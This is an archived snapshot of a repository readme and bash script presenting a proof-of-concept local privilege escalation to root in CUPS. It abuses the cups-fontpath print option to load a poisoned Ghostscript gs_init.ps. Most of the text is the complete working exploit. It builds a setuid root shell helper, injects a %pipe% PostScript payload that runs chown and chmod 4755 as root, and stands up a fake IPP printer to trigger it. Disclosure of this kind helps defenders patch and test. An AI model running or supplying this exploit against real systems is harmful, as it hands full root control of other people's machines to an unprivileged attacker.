---
id: 10332
title: "cowcups: CUPS cups-fontpath Local Privilege Escalation (LPE) to Root PoC"
cve: null
cvss: null
severity: high
vendor: OpenPrinting
product: "CUPS / cups-browsed / libcupsfilters"
affected_versions: null
source_domain: codeberg.org
source_url: "https://codeberg.org/piratemoo/cowcups"
published_at: "2026-10-24T18:13:47Z"
snapshot_at: "2026-10-26T03:07:00Z"
archived_by: "Phying News (https://phying.com/item/10332)"
lang: en
---

# cowcups: CUPS `cups-fontpath` Local Privilege Escalation (LPE) to Root PoC

*By [piratemoo](https://codeberg.org/piratemoo) · October 24, 2026 · Source: [codeberg.org/piratemoo/cowcups](https://codeberg.org/piratemoo/cowcups)*

## Overview (`readme.md`)

# **cowcups cups-fontpath lpe**

An unprivileged local user can trigger root cmd exec by submitting a print job with an attacker-controlled `cups-fontpath` option. The user advertises a PWG Raster printer with `ippeveprinter`; `cups-browsed` discovers it and creates an `implicitclass` queue. When the user prints to that queue, the root-run backend passes the job option through `libcupsfilters` to Ghostscript as an `-I` search path. Ghostscript loads the attacker’s `gs_init.ps` from that path, where a `%pipe%` command execs as root.

- No `sudo`/`lpadmin` required
- No pre-existing printer/victim interaction required

---

## Exploitation Chain & Technical Breakdown

1. **SUID Root Shell Helper (`mooshell`)**: Compiles a minimal C wrapper (`rootsh.c`) that calls `setgid(0)`, `setuid(0)`, and `execl("/bin/bash", "bash", NULL)` into `./mooshell`.
2. **Ghostscript `gs_init.ps` Poisoning**: Locates the installed Ghostscript revision header from `/usr/share/ghostscript/.../gs_init.ps` and writes a malicious `$dir/gs/gs_init.ps` containing a PostScript `%pipe%` operator:
   ```postscript
   (%pipe%sh -c 'chown root:root $rootsh && chmod 4755 $rootsh && id > $proof 2>&1') (r) file
   ```
3. **Fake IPP Everywhere Printer Advertisement**: Starts `ippeveprinter` on an unprivileged random local port (`18000 + RANDOM % 20000`) advertising `image/pwg-raster` support with queue name `graze_<pid>_<timestamp>`.
4. **Automatic Queue Discovery via `cups-browsed`**: Waits for the local `cups-browsed` daemon to discover the IPP printer over mDNS/Bonjour and register an `implicitclass://` CUPS queue.
5. **Print Job Submission with `cups-fontpath` Injection**: Submits a print job via `lp -d "$queue" -o "cups-fontpath=$dir/gs" /etc/hostname`. When the root-privileged filter/backend pipeline (`libcupsfilters` -> Ghostscript) processes the job, it passes `-I $dir/gs` to Ghostscript, which loads the attacker's `gs_init.ps` and executes the `%pipe%` payload as `root`, setting SUID root (`4755`) on `./mooshell`.

---

## Full PoC Exploit (`cowcups.sh`)

Source file: [`cowcups.sh`](https://codeberg.org/piratemoo/cowcups/src/branch/main/cowcups.sh)

```bash
#!/usr/bin/env bash
set -euo pipefail

cat <<'EOF'
\|/          (__)
     `\------(oo)
       ||    (__)
       ||w--||     \|/
EOF

rootsh="$(pwd)/mooshell"
proof="$(pwd)/.mooshell-proof"
dir=$(mktemp -d /tmp/cups-lpe.XXXXXX)
queue="graze_$$_$(date +%s)"
port=$((18000 + RANDOM % 20000))
jobnum=""

cancel_and_drain() {
    if [[ -n "$jobnum" ]]; then
        timeout 5 cancel "$jobnum" 2>/dev/null || true
    fi
    timeout 5 cancel -a "$queue" 2>/dev/null || true
    local tries=0
    while pgrep -f "implicitclass://$queue/" >/dev/null 2>&1 && (( tries < 20 )); do
        sleep 0.5
        (( tries++ ))
    done
}

cleanup() {
    local ec=$?
    set +e
    cancel_and_drain
    if [[ -n "${pid:-}" ]]; then
        kill "$pid" 2>/dev/null
        wait "$pid" 2>/dev/null
    fi
    rm -rf "$dir"
    exit "$ec"
}
trap cleanup EXIT INT TERM

pkill -f "ippeveprinter.*graze_" 2>/dev/null || true
sleep 0.5

if ! timeout 5 lpstat -r >/dev/null 2>&1; then
    echo "[-] cupsd not responding — stuck implicitclass backends from a previous run"
    echo "    fix: sudo kill -9 \$(pgrep -f implicitclass://graze_)"
    echo "    then: sudo systemctl restart cups"
    exit 1
fi

timeout 5 cancel -a 2>/dev/null || true

cat > "$dir/rootsh.c" <<'CEOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    if (setgid(0) != 0) {
        perror("setgid");
        return EXIT_FAILURE;
    }
    if (setuid(0) != 0) {
        perror("setuid");
        return EXIT_FAILURE;
    }
    execl("/bin/bash", "bash", (char *)NULL);
    perror("execl");
    return EXIT_FAILURE;
}
CEOF
gcc -Wall -Wextra -Werror -pedantic -std=c11 -o "$rootsh" "$dir/rootsh.c" -O2
rm -f "$dir/rootsh.c"

mkdir -p "$dir/gs" "$dir/spool"

init=$(find /usr/share/ghostscript -name gs_init.ps -print -quit 2>/dev/null)
if [[ -z "$init" ]]; then
    echo "[-] gs_init.ps not found"
    exit 1
fi
rev=$(awk '!/^[[:space:]]*%/ && NF {print $1; exit}' "$init")

cat > "$dir/gs/gs_init.ps" <<EOF
$rev
dup revision ne { 1 .quit } if pop
(%pipe%sh -c 'chown root:root $rootsh && chmod 4755 $rootsh && id > $proof 2>&1') (r) file
closefile
0 .quit
EOF

ippeveprinter -p "$port" -d "$dir/spool" \
    -f image/pwg-raster -F image/pwg-raster "$queue" \
    >"$dir/ippeve.log" 2>&1 &
pid=$!

sleep 0.5
if ! kill -0 "$pid" 2>/dev/null; then
    echo "[-] ippeveprinter failed to start:"
    cat "$dir/ippeve.log" 2>/dev/null
    exit 1
fi
echo "[+] ippeveprinter running on port $port (pid $pid)"

echo "[*] waiting for cups-browsed to pick up the queue (up to 90s)..."
found=0
for i in $(seq 1 90); do
    if timeout 3 lpstat -v 2>/dev/null | grep -Fq "$queue"; then
        found=1
        echo "[+] queue discovered after ${i}s"
        break
    fi
    sleep 1
done

if (( found == 0 )); then
    echo "[-] queue never appeared"
    exit 1
fi

echo "[*] waiting for queue to become routable..."
routable=0
for i in $(seq 1 30); do
    if timeout 3 lpstat -p "$queue" 2>/dev/null | grep -qE 'idle|enabled'; then
        routable=1
        echo "[+] queue routable after additional ${i}s"
        break
    fi
    sleep 1
done

if (( routable == 0 )); then
    echo "[-] queue appeared but never became routable"
    timeout 3 lpstat -p "$queue" 2>/dev/null || true
    exit 1
fi

sleep 3

submit_and_wait() {
    local lp_out
    lp_out=$(timeout 10 lp -d "$queue" -o "cups-fontpath=$dir/gs" /etc/hostname 2>&1) || {
        echo "[-] lp failed: $lp_out"
        return 1
    }
    echo "[+] $lp_out"
    jobnum=$(echo "$lp_out" | grep -oP 'request id is \K[^ ]+' || true)

    for i in $(seq 1 30); do
        if [[ -u "$rootsh" ]]; then
            echo "[+] suid set after ${i}s"
            return 0
        fi
        sleep 1
    done
    return 1
}

echo "[*] submitting print job with poisoned fontpath..."
attempt=1
max_attempts=3
while (( attempt <= max_attempts )); do
    if submit_and_wait; then
        break
    fi

    if [[ -u "$rootsh" ]]; then
        break
    fi

    echo "[*] attempt $attempt failed, cancelling and retrying..."
    cancel_and_drain
    jobnum=""

    if (( attempt == max_attempts )); then
        break
    fi

    sleep 3
    (( attempt++ ))
done

echo "[*] cancelling held job to prevent retry zombies..."
cancel_and_drain

if [[ ! -u "$rootsh" ]]; then
    echo "[-] suid not set after $max_attempts attempts"
    tail -5 "$dir/ippeve.log" 2>/dev/null || true
    rm -f "$rootsh"
    exit 1
fi

echo ""
echo "moo. rooted."
cat "$proof" 2>/dev/null
rm -f "$proof"
echo ""
ls -la "$rootsh"
echo "./mooshell for root shell"
```

---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/10332) · Original source: [codeberg.org](https://codeberg.org/piratemoo/cowcups)
